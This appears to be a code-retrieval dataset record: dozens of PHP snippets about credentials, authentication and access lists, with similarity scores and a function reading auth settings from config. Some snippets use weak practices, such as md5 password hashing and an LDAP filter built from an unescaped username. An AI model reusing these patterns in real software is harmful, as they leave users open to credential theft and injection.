getAccessInformation() {\n $fields = array(\n 'accessInformation' => array(\n 'accessUrl',\n 'accessUrlDescriptor',\n 'accessUrlDisplay',\n )\n );\n return TingOpenformatMethods::parseFields($this->_getDetails(), $fields);\n }", "public static function getAuthentication():array\n {\n if (Config::SANDBOX === true)\n {\n return [\n \"email\"=>Config::SANDBOX_EMAIL,\n \"token\"=>Config::SANBOX_TOKEN\n ];\n }\n else \n {\n return [\n \"email\"=>Config::PRODUCTION_EMAIL,\n \"token\"=>Config::PRODUCTION_TOKEN\n ];\n }\n }", "protected function credentials() : array\n {\n return array_combine(\n ['cellphone', 'email', 'password'],\n [$this->login, $this->login, $this->password]\n );\n }", "public function getAccessionsList(){\n return $this->_get(2);\n }", "public function getAccessionsList(){\n return $this->_get(2);\n }", "public static function listKeys()\n {\n $return = parent::listKeys();\n $return['enumAuthType']['options'] = array('basicauth' => 'basicauth');\n $return['username']['required'] = 'user';\n $return['password']['required'] = 'user';\n $return['password']['input_type'] = 'password';\n return $return;\n }", "function getAllAccess() {\n return ['download', 'remoteAccess', 'remoteService', 'enclave','notAvailable'];\n}", "private function _get_info() {\n\n\t\t/* Grab the basic information from the catalog and return it */\n\t\t$sql = \"SELECT * FROM `access_list` WHERE `id`='\" . Dba::escape($this->id) . \"'\";\n\t\t$db_results = Dba::query($sql);\n\n\t\t$results = Dba::fetch_assoc($db_results);\n\n\t\treturn $results;\n\n\t}", "public function accessList()\n {\n $this->startBrokerSession();\n $user = null;\n\n $username = $this->getSessionData('sso_user');\n\n if ($username) {\n $accessList = $this->getAccessList($username);\n } else {\n return $this->fail(\"User not found\", 500); // Shouldn't happen\n }\n\n header('Content-type: application/json; charset=UTF-8');\n echo json_encode($accessList);\n }", "public function get_auth_methods()\n {\n return [\n 'hooks' => [\n 'title' => 'Event-Hooks',\n 'type' => 'boolean',\n 'rights' => [\n isys_auth::VIEW,\n isys_auth::EDIT\n ]\n ],\n 'history' => [\n 'title' => _L('LC__MODULE__EVENTS__HISTORY'),\n 'type' => 'boolean',\n 'rights' => [\n isys_auth::VIEW,\n isys_auth::EDIT\n ]\n ]\n /*,\n\t\t\t'config' => array(\n\t\t\t\t'title' => _L('LC__CONFIGURATION'),\n\t\t\t\t'type' => 'boolean',\n\t\t\t\t'rights' => array(isys_auth::VIEW, isys_auth::EDIT)\n\t\t\t)*/\n ];\n }", "private function itemsList()\n {\n /**\n * Defined variables\n */\n $request = $this->getRequest();\n $publicKey = $request->getServer('PHP_AUTH_USER');\n\n $searchCriteriaBuilder = $this->searchCriteria;\n $searchCriteria = $searchCriteriaBuilder->addFilter(\n 'auth_key',\n $publicKey,\n 'eq'\n )->create();\n $authenticationList = $this->customerAuthRepository->getList($searchCriteria);\n $items = $authenticationList->getItems();\n\n return $items;\n }", "private function getCredentials(AuthenticateRequest $request)\n {\n return [\n 'email' => $request->input('email'),\n 'password' => $request->input('password'),\n ];\n }", "public function getAuthAssignments(){\n return array_keys(Yii::app()->getAuthManager()->getAuthAssignments($this->id));\n }", "function UserAccessList()\n\t{\t$areas = array();\n\t\tforeach ($this->accessAreas as $area=>$digit)\n\t\t{\tif($this->CanUserAccess($area))\n\t\t\t{\t$areas[] = $area;\n\t\t\t}\n\t\t}\n\t\treturn implode(\", \", $areas);\n\t}", "public function getOtherAccessList() {\n return $this->_get(17);\n }", "public function getAuthenticationAvailable();", "public function getAuthConfig() {\n $users = [\n 'publicKey1' => 'key1',\n 'publicKey2' => 'key2',\n ];\n\n return [\n 'no public keys exists' => [[], 'public', null],\n 'public key exists' => [$users, 'publicKey2', 'key2'],\n 'public key does not exist' => [$users, 'publicKey3', null],\n ];\n }", "private function getCreds()\n {\n $store = Craft::$app->request->getQueryParam('store');\n $suffix = $store ? '_'.$store : '';\n if (!$url = getenv('SHOPIFY_URL'.$suffix)) {\n throw new Exception('Missing SHOPIFY_URL');\n }\n if (!$token = (getenv('SHOPIFY_ADMIN_API_ACCESS_TOKEN'.$suffix) ?:\n getenv('SHOPIFY_API_PASSWORD'.$suffix))) {\n throw new Exception('Missing SHOPIFY_ADMIN_API_ACCESS_TOKEN');\n }\n return [$url, $token];\n }", "protected function getCredentials()\n {\n $user = $this->options[\"USER\"];\n $password = $this->options[\"PASS\"];\n // 1BIS : encoded?\n if ($user == \"\" && isSet($this->options[\"ENCODED_CREDENTIALS\"])) {\n list($user,$password) = AJXP_Safe::getCredentialsFromEncodedString($this->options[\"ENCODED_CREDENTIALS\"]);\n }\n // 2. Try from session\n if ($user==\"\" && isSet($this->options[\"USE_SESSION_CREDENTIALS\"]) ) {\n $safeCred = AJXP_Safe::loadCredentials();\n if ($safeCred !== false) {\n $user = $safeCred[\"user\"];\n $password = $safeCred[\"password\"];\n } else {\n throw new Exception(\"Session credential are empty! Did you forget to check the Set Session Credential in the Authentication configuration panel?\");\n }\n }\n return array($user, $password);\n }", "public function getAuth();", "public function getAuth();", "protected function getCredentials(): array\n {\n return [\n 'suite_id' => $this->app['config']['suite_id'],\n 'suite_secret' => $this->app['config']['suite_secret'],\n 'suite_ticket' => $this->app['suite_ticket']->getTicket(),\n ];\n }", "public function testAuthenticationServiceListAuthentications()\n {\n }", "public function getAuthHeader()\n {\n return [\n 'auth' => [\n $this->username,\n $this->password,\n ],\n ];\n }", "private function getAllConfig() {\n $this->user_panel->checkAuth();\n $this->config->findAll();\n }", "public static function getAdminAuth()\n\t{\n\t\tif (empty(MHTTPD::$config['Admin']['admin_user'])) {\n\t\t\treturn false;\n\t\t}\n\t\treturn array(\n\t\t\t'realm' => 'server admin',\n\t\t\t'user' => MHTTPD::$config['Admin']['admin_user'],\n\t\t\t'pass' => MHTTPD::$config['Admin']['admin_pass'],\n\t\t);\n\t}", "public function auth()\n {\n return $this->la->auth();\n }", "function get_object_credentials() {\n\t\treturn array(\n\t\t\t'host' => $this->host,\n\t\t\t'port' => $this->port,\n\t\t\t'dbname' => $this->dbName,\n\t\t\t'user' => $this->user,\n\t\t\t'password' => $this->passwd\n\t\t);\n\t}", "public function getCookieCredentials() {\n $server_name = $this->full_server_name;\n\n if ($server_name == '[manual]') {\n // Manual server - no login.\n return array(\n 'uri' => $server_name,\n 'username' => 'none',\n 'password' => 'none',\n );\n }\n\n // Get the user name and password from the login field.\n preg_match('/user-name=\\\"(.*)\\\" user-password/i', $server_name, $user_matches);\n preg_match('/user-password=\\\"(.*)\\\" /i', $server_name, $password_matches);\n $username = $user_matches[1];\n $password = $password_matches[1];\n\n return array(\n 'uri' => $server_name,\n 'username' => $username,\n 'password' => $password,\n );\n }", "public function getAccess()\n {\n return $this->_params['access'];\n }", "public function getAuth()\n {\n return $this->get('core.auth');\n }", "public function getCrlAccessUrls()\n {\n return $this->crl_access_urls;\n }", "public function credentials_index()\n {\n return view('addons.otp_systems.configurations.set_credentials');\n }", "public static function getAccessValues(): array {\n return array(\n self::ACCESS_ADMIN => 'admin',\n self::ACCESS_SELLER => 'seller',\n self::ACCESS_BUYER => 'buyer',\n self::ACCESS_GUEST => 'guest',\n );\n }", "public function getCredentialsInformation()\n {\n $email = $this->getConfigData('email');\n $token = $this->getConfigData('token');\n $credentials = new PagSeguroAccountCredentials($email, $token);\n\n return $credentials;\n }", "public function getCredentials() {\r\n\t\t\r\n\t\treturn $this->_credentials;\r\n\t\t\r\n\t}", "public function getCredentials()\n { return $this->get('credentials'); }", "public function accessTokenDataProvider()\r\n {\r\n return array(\r\n // Valid access token\r\n array(\r\n 'isSuccessful' => true,\r\n ),\r\n // Invalid access token\r\n array(\r\n 'isSuccessful' => false,\r\n ),\r\n );\r\n }", "public function authenticate()\n {\n $this->getOpenIDConnectClient()->providerConfigParam($this->openid_parameters);\n $this->getOpenIDConnectClient()->authenticate();\n $infos = (array)$this->getOpenIDConnectClient()->requestUserInfo();\n $infos['token'] = $this->getOpenIDConnectClient()->getAccessToken();\n\n return $infos;\n }", "public function getCredentials()\n {\n return $this->provider . '_' . $this->oAuthId;\n }", "public function getUsers()\n {\n return Security::getUserList();\n }", "abstract public function getCredentials();", "public function getAuth()\n {\n $db = new db(self::db_auth);\n return unserialize($db->getAuth());\n\n }", "function getAuthMapping(){\n return [\n 'none'=>['dbgap','pdb','geo','lincs','gemma',\n 'arrayexpress','sra','bioproject','dryad',\n 'cvrg','neuromorpho','peptideatlas','cia','mpd',\n 'openfmri','nursadatasets','physiobank','proteomexchange',\n 'yped','cil','gdc','swissprot','retina','emdb','epigenomics',\n 'nitrcir','neurovaultatlases','neurovaultcols','neurovaultnidm',\n 'rgd','datacitebgi','datacitemorphobank','vectorbase','datacitegnd',\n 'datacitepeerj','datacitezenodo','omicsdi','datacitesbgrid','simtk',\n 'datacitecxidb','datacitebils','dataciteada','dataciteukda','dataciteadaptive',\n 'datacitemit','datacitectsi','datacitefdz','datacitembf','datacitenimh','datacitejhu',\n 'datacitecandi','datacitelshtm','datacitedatabrary','immport','datacitesdscsg','datacitecrcns',\n 'nsrr','lsdb','naturedata','genenetwork','datacitethieme','datacitefigshare','dataciteccdc','wormbase',\n 'gtexldacc','metabolomics'#'clinicaltrials','clinvar'\n ],\n 'clickLicense'=>['dataverse'],\n 'registration'=>['niddkcr','cil','icpsr','gdc'],#'ctn',\n 'duaIndividual'=>['ndarpapers'],\n 'duaInstitution'=>['ndarpapers']\n ];\n}", "public function checkAuth()\n\t{\t\t\n\t\t$url = \"http://{$this->wnServer}/webnative/portalDI\";\n\t\t$authinfo = json_decode($this->curlObj->fetch_url($url),true);\n\t\treturn $authinfo;\n\t}", "public function getListAuthorizations()\n {\n return isset($this->listAuthorizations) ? $this->listAuthorizations : null;\n }", "private function _tryPlainAuth()\n {\n if (!array_key_exists('PHP_AUTH_USER', $_SERVER)\n || !array_key_exists('PHP_AUTH_PW', $_SERVER)\n ) {\n return array();\n }\n return array (\n 'login' => $_SERVER['PHP_AUTH_USER'],\n 'hash' => md5($_SERVER['PHP_AUTH_PW'])\n );\n }", "protected function getCredentials()\n {\n if (empty($this->username) || empty($this->password)) {\n throw new \\Exception('Basic authentication requires a $username & $password property.');\n }\n\n return [$this->username, $this->password];\n }", "protected function credentials(Request $request) {\n return [\n 'username' => $request->input('username'),\n 'password' => $request->input('password'),\n 'isactive' => 1,\n 'isdeleted' => 0\n ];\n }", "public function getAuthAllowableValues()\n {\n return [\n self::AUTH_INTERNAL,\n self::AUTH_EXTERNAL,\n ];\n }", "function getArray(){\n\t\t\t\t\t$fieldArray = array('username'=> $this->_username, 'password'=>$this->_password);\n\t\t\t\t\treturn $fieldArray;\n\t\t\t\t}", "function ac_auth($username, $password) {\r\n\t\t$sr = ldap_search($this->ds, $this->basedn, \"username=$username\");\r\n\t\tif(ldap_count_entries($this->ds, $sr) > 0) {\r\n\t\t\t$inf = ldap_get_entries($this->ds, $sr);\r\n\t\t\t$passmd5 = $inf[0][\"password\"][0];\r\n\t\t\tif(md5($password) == $passmd5) {\r\n\t\t\t\treturn array($inf[0][\"uid\"][0],\r\n\t\t\t\t\t\t$inf[0][\"perms\"][0]);\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn array();\r\n\t}", "public function provideInfo()\n {\n $this->password;\n\n return array(\n array('foo', array('algo' => 0, 'algoName' => 'unknown', 'options' => array())),\n array('$2y$', array('algo' => 0, 'algoName' => 'unknown', 'options' => array())),\n array('$2y$07$', array('algo' => 0, 'algoName' => 'unknown', 'options' => array())),\n array('$2y$07$usesomesillystringfore2uDLvp1Ii2e./U9C8sBjqp8I90dH6hi', array('algo' => PASSWORD_BCRYPT, 'algoName' => 'bcrypt', 'options' => array('cost' => 7))),\n array('$2y$10$usesomesillystringfore2uDLvp1Ii2e./U9C8sBjqp8I90dH6hi', array('algo' => PASSWORD_BCRYPT, 'algoName' => 'bcrypt', 'options' => array('cost' => 10))),\n );\n }", "public function getAuthorizations(): array;", "public function getCredentials()\n {\n return $this->credentials;\n }", "public function getCredentials()\n {\n return $this->credentials;\n }", "public function apiCredentials(): array\n {\n return [\n 'SiteID' => config('gmo-payment-gateway.creds.site_id') ?? env('GMO_SITE_ID'),\n 'SitePass' => config('gmo-payment-gateway.creds.site_pass') ?? env('GMO_SITE_PASS')\n ];\n }", "public function acl()\n {\n return array(\n 'view' => array('index', 'view', 'get', 'indexAction', 'viewAction', 'getMethod'),\n 'edit' => array('new', 'edit', 'editlist', 'delete', 'post', 'put', 'newAction', 'editAction', 'editlistAction', 'deleteAction', 'postMethod', 'putMethod', 'deleteMethod')\n );\n }", "function getauthorized() {\r\n\r\n $db = JFactory::getDBO();\r\n $query = \"SELECT id,email,api,transaction_key,mode FROM #__em_authorized_settings\r\n WHERE id = 1\";\r\n $db->setQuery($query);\r\n $result = $db->loadObject();\r\n\r\n return $result;\r\n }", "public function getAllFromLogin()\n {\n $sql = \"SELECT * FROM login;\";\n $res = $this->db->executeFetchAll($sql);\n\n return $res;\n }", "public function getCredentials()\n\t{\n\t\treturn $this->credentials;\n\t}", "public function getAuthLevels()\n {\n if (empty($this->authLevels))\n {\n $this->loadAuthLevels();\n }\n \n return $this->authLevels;\n }", "public function getAccess()\n {\n return $this->access;\n }", "public function getsigninaccess($aWhere)\n {\n if ( ! is_array($aWhere) || empty($aWhere)) {\n return array();\n }\n $res = $this->getOneRecord(\"admins\", $aWhere);\n if(!empty($res))\n return $res;\n else\n return $this->getOneRecord($this->tablename, $aWhere);\n }", "function GetCrediteds()\n\t{\n\t\t$result = $this->sendRequest(\"GetCrediteds\", array());\t\n\t\treturn $this->getResultFromResponse($result);\n\t}", "function credentials() {\n\t\t return array(PHPLM_DBHOST, PHPLM_DBUSER, PHPLM_DBPASS);\n\t\t}", "public function getAuthorizationDetails($requestParameters = array());", "public function getAuthDataFromResponse(): array;", "public function getCredentials()\n {\n return $this->hasMany(Credential::className(), ['id' => 'credential_id'])\n ->viaTable('{{%content_providers_credentials}}', ['content_provider_id' => 'id']);\n }", "public function getAllLogins() {\n $this->db->cache = false;\n if (!$this->db->from($this->table)->select('login')->all()) {\n return [];\n }\n return $this->db->from($this->table)->select('login')->all();\n }", "protected function credentials(Request $request): array\n {\n return $request->only('username', 'email', 'password');\n }", "public function getCredentials() {\n\t\treturn $this->_credentials;\n\t}", "public static function getList()\n {\n return collect([\n new Permission('control_panel_access', 'Control Panel Access', 'General'),\n new Permission('manage_users', 'Manage Users', 'ACL'),\n new Permission('manage_roles', 'Manage Roles', 'ACL'),\n new Permission('manage_permissions', 'Manage Permissions', 'ACL'),\n ]);\n }", "public function SelectCredencials() {\n \n $query = $this->conection->query(\"SELECT nuser,npass,ip FROM Admin\");\n $result = array();\n while ($rst = $this->conection->result($query)) {\n\n $temp=null;\n $user = $rst[\"nuser\"]; \n $pass = $rst[\"npass\"]; \n $ip = $rst[\"ip\"]; \n $temp=new Admin($user, $pass, $ip);\n \n array_push($result, $temp);\n }\n \n $this->conection->free($query);\n return $result;\n\n \n }", "function _getLoginExemptions() {\n\t\treturn array('user', 'login', 'help', 'header', 'payment');\n\t}", "protected function getExplicitAuthFieldValues() {}", "public static function getExplicitAuthFieldValues() {}", "public function get_additional_login_parameters() {\n return [];\n }", "public function getAuthentication(): Authentication;", "private function getUserInfo()\n\t{\n\t\t$user = Sentry::user();\n\t\t$result = array(\n\t\t\t'username' => $user->get('username'),\n\t\t\t'isAdmin' => $user->in_group('admin'),\n\t\t);\n\t\treturn $result;\n\t}", "public function getAccess() {\n\t\treturn $this->_access;\n\t}", "public function getCredentials() {\n\t\t\n\t\treturn $this->_getResponse(self::URL_USERS_VERIFY_CREDENTIALS, $this->_query);\n\t}", "public function getAccounts();", "public function authentication() {\n return $this->username() . ':' . $this->password();\n }", "public function getAuthApis()\n {\n $menu = $this->getMenu();\n\n if (!$menu) {\n return $this->extendPermissionApis();\n }\n\n return ArrayHelper::merge($this->extendPermissionApis(), $menu->getPermissionApis());\n }", "public function listsaccessLevelget()\r\n {\r\n $response = AccessLevel::all();\r\n return response()->json($response,200);\r\n }", "public function listAll() : array\n {\n return \\Cache::remember('query_list_all_config', 60 * 60, function () {\n return $this->config->all()->pluck('value', 'name')->all();\n });\n }" ]
[ "0.6853585", "0.672578", "0.66362697", "0.66301346", "0.64560455", "0.64475787", "0.6401969", "0.6383257", "0.63169754", "0.63145745", "0.6226347", "0.62010014", "0.61057127", "0.6086777", "0.6073327", "0.60561275", "0.6019459", "0.6019459", "0.60118395", "0.60103583", "0.5967561", "0.59627086", "0.59533286", "0.593546", "0.5893096", "0.58927006", "0.58888805", "0.58888024", "0.58735573", "0.5834899", "0.5824932", "0.5785813", "0.57790166", "0.57790166", "0.5773231", "0.57578313", "0.5712956", "0.56928", "0.56739336", "0.56561214", "0.5647252", "0.56241924", "0.56122065", "0.56089073", "0.5601162", "0.56009716", "0.5582594", "0.55820477", "0.5573935", "0.55718714", "0.55635744", "0.55600667", "0.5555959", "0.5554961", "0.55519444", "0.5523389", "0.551811", "0.5504108", "0.5491205", "0.5486099", "0.54690367", "0.54682946", "0.54631346", "0.5462383", "0.54568714", "0.54565823", "0.5449884", "0.54479957", "0.54479957", "0.5447777", "0.54470575", "0.54267", "0.54260075", "0.5421297", "0.5419476", "0.5414907", "0.5408024", "0.5403349", "0.5397469", "0.53927773", "0.5378942", "0.53507435", "0.5347568", "0.5342427", "0.5339273", "0.5324251", "0.5321948", "0.5320504", "0.5316929", "0.5310926", "0.5307364", "0.52990997", "0.5297767", "0.5295493", "0.5294463", "0.52894086", "0.52891266", "0.52803886", "0.52734804", "0.52683985" ]
0.72461665
0
Returns any configured access authentication info for the given resource.
public static function getAuthInfo($uri) { if (isset(MHTTPD::$config['Auth'][$uri]) && MHTTPD::$config['Auth'][$uri] !== false) { if (!is_array(MHTTPD::$config['Auth'][$uri])) { MHTTPD::$config['Auth'][$uri] = array_combine( array('realm', 'user', 'pass'), listToArray(MHTTPD::$config['Auth'][$uri]) ); } return MHTTPD::$config['Auth'][$uri]; } return false; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getAuthenticationProvider();", "public function getAuthentication(): Authentication;", "public function retrieveAuthCredentials()\n\t{\n\t\t// Since PHP saves the HTTP Password in a bunch of places, we have to be able to test for all of them\n\t\t$username = $password = NULL;\n\t\t\n\t\t// mod_php\n\t\tif (isset($_SERVER['PHP_AUTH_USER'])) \n\t\t{\n\t\t $username = (isset($_SERVER['PHP_AUTH_USER'])) ? $_SERVER['PHP_AUTH_USER'] : NULL;\n\t\t $password = (isset($_SERVER['PHP_AUTH_PW'])) ? $_SERVER['PHP_AUTH_PW'] : NULL;\n\t\t}\n\n\t\t// most other servers\n\t\telseif ($_SERVER['HTTP_AUTHENTICATION'])\n\t\t{\n\t\t\tif (strpos(strtolower($_SERVER['HTTP_AUTHENTICATION']),'basic') === 0)\n\t\t\t{\n\t\t\t\tlist($username,$password) = explode(':',base64_decode(substr($_SERVER['HTTP_AUTHENTICATION'], 6)));\n\t\t\t}\n\t\t}\n\t\t\n\t\t// Check them - if they're null a/o empty, they're invalid.\n\t\tif ( is_null($username) OR is_null($password) OR empty($username) OR empty($password))\n\t\t\treturn FALSE;\n\t\telse\n\t\t\treturn array('username' => $username, 'password' => $password);\n\t}", "public function getAuth();", "public function getAuth();", "public function getAccessInformation() {\n $fields = array(\n 'accessInformation' => array(\n 'accessUrl',\n 'accessUrlDescriptor',\n 'accessUrlDisplay',\n )\n );\n return TingOpenformatMethods::parseFields($this->_getDetails(), $fields);\n }", "public function getAuth()\n {\n return $this->get('core.auth');\n }", "public function checkAuth()\n\t{\t\t\n\t\t$url = \"http://{$this->wnServer}/webnative/portalDI\";\n\t\t$authinfo = json_decode($this->curlObj->fetch_url($url),true);\n\t\treturn $authinfo;\n\t}", "private function getAuthenticationConfig() {\n\t\t$config = $this->getServiceLocator()->get('config');\n\t\tif (isset($config['authentication'])) return $config['authentication'];\n\t\telse return [];\n\t}", "public function getAuthInfo() {\n return [\n 'host' => [\n 'account_num' => 9999999999,\n ],\n ];\n }", "private function getAndSetAuthInfo() {\n #Authentication\n #$this->userIdentifier will be empty if the unser doesn't provide a credential\n #If in the future we implement API keys, then I suggest we only look for\n #the DN if the API key isn't presented.\n #Failure to authenticate is handled elsewhere\n if(is_null($this->userIdentifier)){\n $this->userIdentifier = Get_User_Principle_PI();\n $this->userIdentifierType = 'X509';\n }\n }", "public function getAuth() {\r\n\t\treturn $this->_autenticacao->getIdentity();\r\n\t}", "public function getCredentials()\n { return $this->get('credentials'); }", "public function loggedIn($resource = 'bekend')\n {\n return OAuth2Helper::isAuthorisedFor($resource);\n }", "public function getBasicAuth()\n {\n return $this->basicAuth;\n }", "public function authenticationInformation(): AuthenticationInfoAttributeValue\n {\n return $this->firstOf(AuthenticationInfoAttributeValue::OID)->first();\n }", "public function getCredentials()\n {\n return $this->provider . '_' . $this->oAuthId;\n }", "public function getAuth() {\n\t\treturn $this->auth;\n\t}", "public function authenticate()\n {\n $this->getOpenIDConnectClient()->providerConfigParam($this->openid_parameters);\n $this->getOpenIDConnectClient()->authenticate();\n $infos = (array)$this->getOpenIDConnectClient()->requestUserInfo();\n $infos['token'] = $this->getOpenIDConnectClient()->getAccessToken();\n\n return $infos;\n }", "public function getCredential();", "public function getAuthenticationProvider() {\n\t\treturn $this->authProvider;\n\t}", "public function getAuthenticationAvailable();", "private function _get_info() {\n\n\t\t/* Grab the basic information from the catalog and return it */\n\t\t$sql = \"SELECT * FROM `access_list` WHERE `id`='\" . Dba::escape($this->id) . \"'\";\n\t\t$db_results = Dba::query($sql);\n\n\t\t$results = Dba::fetch_assoc($db_results);\n\n\t\treturn $results;\n\n\t}", "public function authentication() {\n return $this->username() . ':' . $this->password();\n }", "public function getAuthenticated()\n {\n return $this->authenticated;\n }", "public function readUserAuth(){\n $user = new \\Filebase\\Database([\n 'dir' => $this->getDataSource()\n ]);\n\n if ($user->has($this->username)) {\n $item = $user->get($this->username);\n $data = [\n 'result' => $item->auth,\n 'attribute' => [\n 'username' => $this->username\n ],\n 'status' => 'success',\n 'message' => 'Data found!'\n ];\n } else {\n $data = [\n 'status' => 'error',\n 'message' => 'User not found!'\n ];\n }\n return $data;\n }", "abstract public function getCredentials();", "public function getAuthenticationResponse() {\n }", "public function getAuthInfoArray() {}", "public function auth()\n {\n return $this->la->auth();\n }", "function authGet() { }", "public function getApiUserInfo()\n {\n return $this->userTransformer->getUserInfo($this->getAuthenticatedUser());\n }", "public function getAuth()\n {\n $this->getRequestHeaders([\n 'X-User-Id', 'X-Auth-Token'\n ]);\n }", "public function authenticate()\n {\n return $this->auth_system();\n }", "public function getAuthenticationProvider() {\n\t\tif (!$this->authenticationProvider) {\n\t\t\t/** @var Dispatcher $dispatcher */\n\t\t\t$dispatcher = $this->dispatcher ? $this->dispatcher : Dispatcher::getSharedDispatcher();\n\t\t\tlist($vendor, $extension,) = Utility::getClassNamePartsForPath($dispatcher->getPath());\n\n\t\t\t// Check if an extension provides a Authentication Provider\n\t\t\t$authenticationProviderClass = 'Tx_' . $extension . '_Rest_AuthenticationProvider';\n\t\t\tif (!class_exists($authenticationProviderClass)) {\n\t\t\t\t$authenticationProviderClass = ($vendor ? $vendor . '\\\\' : '') . $extension . '\\\\Rest\\\\AuthenticationProvider';\n\t\t\t}\n\n\n\t\t\t// Use the found Authentication Provider\n\t\t\tif (class_exists($authenticationProviderClass)) {\n\t\t\t\t$this->authenticationProvider = $this->get($authenticationProviderClass);\n\t\t\t} else {\n\t\t\t\t// Use the default Authentication Provider\n\t\t\t\t#$authenticationProviderClass = 'Cundd\\\\Rest\\\\Authentication\\\\BasicAuthenticationProvider';\n\t\t\t\t$this->authenticationProvider = $this->get('Cundd\\\\Rest\\\\Authentication\\\\AuthenticationProviderCollection', array(\n\t\t\t\t\t$this->get('Cundd\\\\Rest\\\\Authentication\\\\BasicAuthenticationProvider'),\n\t\t\t\t\t$this->get('Cundd\\\\Rest\\\\Authentication\\\\CredentialsAuthenticationProvider'),\n\t\t\t\t));\n\t\t\t}\n\n\t\t\t$this->authenticationProvider->setRequest($dispatcher->getRequest());\n\t\t}\n\t\treturn $this->authenticationProvider;\n\t}", "abstract public function getAuthenticator();", "public function getAccessConfig()\n {\n return $this->access_config;\n }", "function getAuth() {\n parent::getAuth(); // load company!\n $au = $this->getAuthUser();\n if (!$au) {\n $this->jerr(\"Not authenticated\", array('authFailure' => true));\n }\n if ($au->company()->comptype != 'OWNER') {\n $this->jerr(\"Permission Denied\" );\n }\n $this->authUser = $au;\n return true;\n }", "public function getCredentialsInformation()\n {\n $email = $this->getConfigData('email');\n $token = $this->getConfigData('token');\n $credentials = new PagSeguroAccountCredentials($email, $token);\n\n return $credentials;\n }", "public function getAuth()\n {\n $db = new db(self::db_auth);\n return unserialize($db->getAuth());\n\n }", "public function getCredentials() {\r\n\t\t\r\n\t\treturn $this->_credentials;\r\n\t\t\r\n\t}", "function rest_get_authenticated_app_password()\n {\n }", "function getauthorized() {\r\n\r\n $db = JFactory::getDBO();\r\n $query = \"SELECT id,email,api,transaction_key,mode FROM #__em_authorized_settings\r\n WHERE id = 1\";\r\n $db->setQuery($query);\r\n $result = $db->loadObject();\r\n\r\n return $result;\r\n }", "public static function getAuthenticationParameters(): array\n {\n return FoodDatabase::getApiCredentials();\n }", "public function getUserCredential()\n {\n return $this->userCredentials;\n }", "public function getSecurityContext();", "public function getAuthorizationDetails($requestParameters = array());", "public function getAuthentication()\n {\n if (!self::$authentication) {\n self::$authentication = $this->getAuthenticationService();\n self::$authentication->authenticate();\n }\n $auth = self::$authentication;\n return $auth;\n }", "public function getAuthData($attribute = null);", "public function getAccessToken() {\n return $this->authenticate();\n }", "public function authenticate()\n {\n $response = $this->client->write(\n sprintf('/auth/userpass/login/%s', $this->username),\n ['password' => $this->password]\n );\n\n return $response->getAuth();\n }", "public function credential()\n {\n return $this->credentials();\n }", "public function getAccess()\n {\n return $this->_params['access'];\n }", "private function getUserInfo()\n\t{\n\t\t$user = Sentry::user();\n\t\t$result = array(\n\t\t\t'username' => $user->get('username'),\n\t\t\t'isAdmin' => $user->in_group('admin'),\n\t\t);\n\t\treturn $result;\n\t}", "public function getCredentials()\n {\n return $this->credentials;\n }", "public function getCredentials()\n {\n return $this->credentials;\n }", "public function get_access_key()\n\t{\n return self::get_value( 'access_key' );\n\t}", "public function getAccessFromAuth($auth){\n $table = \"access\";\n $fields[] = \"access\";\n $where[\"auth\"] = $auth;\n $data = Database_Mysql::select($table,$fields,$where);\n if($data)\n return $data[0][\"access\"];\n else\n return false;\n }", "public function get_authenty()\r\n {\r\n //right column defines how to treat each role for guessing the owner of the resource\r\n $roles=array(\r\n 'custodian' => 'owner',\r\n 'resourceProvider' => 'distributor',\r\n 'owner' => 'owner',\r\n 'user' => 'distributor',\r\n 'distributor' => 'distributor',\r\n 'originator' => 'owner',\r\n 'pointOfContact' => 'owner',\r\n 'principalInvestigator' => 'owner',\r\n 'processor' => 'owner',\r\n 'pubisher' => 'owner',\r\n 'author' => 'owner' \r\n );\r\n \r\n \r\n $countries=array();\r\n\r\n //check the ident_contact\r\n $contacts=$this->get_key_value('ident_contacts');\r\n \r\n if ($contacts)\r\n {\r\n foreach($contacts as $contact)\r\n {\r\n $role=NULL;\r\n if (array_key_exists($contact['role'],$roles)){\r\n $role=$roles[$contact['role']];\r\n }\r\n \r\n if ($role=='owner' && isset($contact['org_name'])) {\r\n return $contact['org_name'];\r\n }\r\n }\r\n }\r\n \r\n $meta_contacts=$this->get_key_value('metadata_contacts');\r\n \r\n if ($meta_contacts)\r\n {\r\n foreach($meta_contacts as $contact)\r\n {\r\n if (array_key_exists($contact['role'],$roles)){\r\n $role=$roles[$contact['role']];\r\n }\r\n \r\n if ($role=='owner' && isset($contact['org_name'])) {\r\n return $contact['org_name'];\r\n }\r\n }\r\n }\r\n \r\n return NULL;\r\n }", "public function getCredential()\r\n {\r\n return $this->credential;\r\n }", "public function getAuthInfo($token) {\n \t$response = $this->requestApi->callAPI('POST', $this->requestUrl('/auth/me'),false, $token);\n \treturn $response;\n\t}", "public function getAuthenticationKey();", "public function getCredentials()\n {\n if ($this->login) return array( $this->login, $this->password);\n\n //Using static PureBilling as fallback\n if (class_exists('\\PureBilling') && \\PureBilling::getPrivateKey()) {\n return array('api', \\PureBilling::getPrivateKey());\n }\n }", "public function getUserFromAuth() {\n\n $auth = Zend_Auth::getInstance();\n $identity = $auth->getIdentity();\n\n return $identity;\n }", "public function getAuthenticationProvider(): ?AuthenticatorInterface;", "public function authenticate()\n {\n return $this->service->authenticate();\n }", "private function getCredentials()\n {\n $basic = base64_encode(Settings::$username . ':' . Settings::$password);\n// $basic = base64_encode($this->user_id . ':' . $this->password);\n return $basic;\n }", "public function authentication(): AuthenticationInterface;", "public function getAuthDataFromResponse(): array;", "public static function getAuthentication()\r\n {\r\n $authentication = null;\r\n\r\n if (!empty($_COOKIE['authentication']))\r\n {\r\n $authentication = json_decode($_COOKIE['authentication'], true);\r\n $path = Zend_Registry::get('web_root') . '/';\r\n $memberProfile = new GenericProfilesObject();\r\n $foundUser = $memberProfile->findData(array(\r\n 'GP_Email' => $authentication['email'],\r\n 'GP_Hash' => $authentication['hash'],\r\n 'GP_Status' => $authentication['status']\r\n ));\r\n \r\n if (!$foundUser)\r\n {\r\n $authentication = null;\r\n setcookie('authentication', '', -1, $path);\r\n }\r\n }\r\n\r\n return $authentication;\r\n }", "public function getCredentials()\n\t{\n\t\treturn $this->credentials;\n\t}", "public function getInfo()\n {\n $user = User::with(['optician'])->find(auth()->id());\n\n return api_resource('mobile\\User')->make($user);\n }", "function get_object_credentials() {\n\t\treturn array(\n\t\t\t'host' => $this->host,\n\t\t\t'port' => $this->port,\n\t\t\t'dbname' => $this->dbName,\n\t\t\t'user' => 